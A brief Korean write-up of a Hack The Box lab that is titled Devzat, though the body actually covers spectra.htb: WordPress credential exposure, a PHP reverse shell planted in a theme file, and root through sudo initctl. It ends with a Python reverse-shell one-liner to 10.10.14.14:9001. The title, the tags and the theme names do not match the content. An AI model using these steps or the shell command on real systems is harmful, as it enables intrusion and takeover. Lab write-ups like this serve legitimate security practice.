HTB-Devzat Write up
golang, git-dumper
80포트 웹 페이지 Test 페이지에서 디렉토리 리스닝 취약점이 가능한것을 확인
wp-config.php.save 파일에서 소스코드를 보면 db페이지의 아이디,패스워드명 노출
메인 페이지에서 login시 administrator의 패스워드로 획득한 패스워드 사용 가능
Wordpress에서 테마에디터로 이동하여 현재 사용하고 있는 Twenty Nineteen 테마의 404 페이지의 코드를 리버스쉘 코드로 변경 (현재 사용중인 테마는 바로 변경이 불가능하니 다른 테마로 변경하여서 변경 시도)
리버스쉘 코드는 /usr/share/Web-shell/wordpress/php-reverse-shell.php 파일 활용
http://spectra.htb/main/wp-content/themes/twentytwenty/404.php
// 기존 메인페이지 디렉토리에서 아래의 주소를 추가하여 입력하면 됨
/wp-content/themes/twentytwenty/404.php
대화형 쉘 tty를 얻기위해 python을 이용 쉘 획득 해당 쉘에서는 python2.7 사용
python2.7 -c "import pty; pty.spawn('/bin/bash')"
// 또는 아래의 명령어로도 가능
SHELL=/bin/bash script -q /dev/null
linpeas.sh 를 이용하여 탐색 후 결과를 확인 중 /etc/autologin/passwd 파일이란것을 발견
확인해보니 passwd 처럼 사용하는것이 보임
home 디렉토리 확인 결과 아래의 계정 중 하나의 패스워드일 확률이 있어 ssh로 확인결과 katie로 접속 가능
sudo -l 결과 /sbin/initctl 명령어를 패스워드 없이 사용가능한것을 확인
initctl 검색 결과 시스템 실행 시 실행되는 명령어인거같음.
만들어져있는 test.conf에 exec를 사용하여 whoami 명령어 입력 후 실행결과 root로 명령어 실행
sudo /sbin/initctl start test
python2.7을 사용하니 파이썬으로 리버스쉘 명령어 입력 시 루트쉘 획득
python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'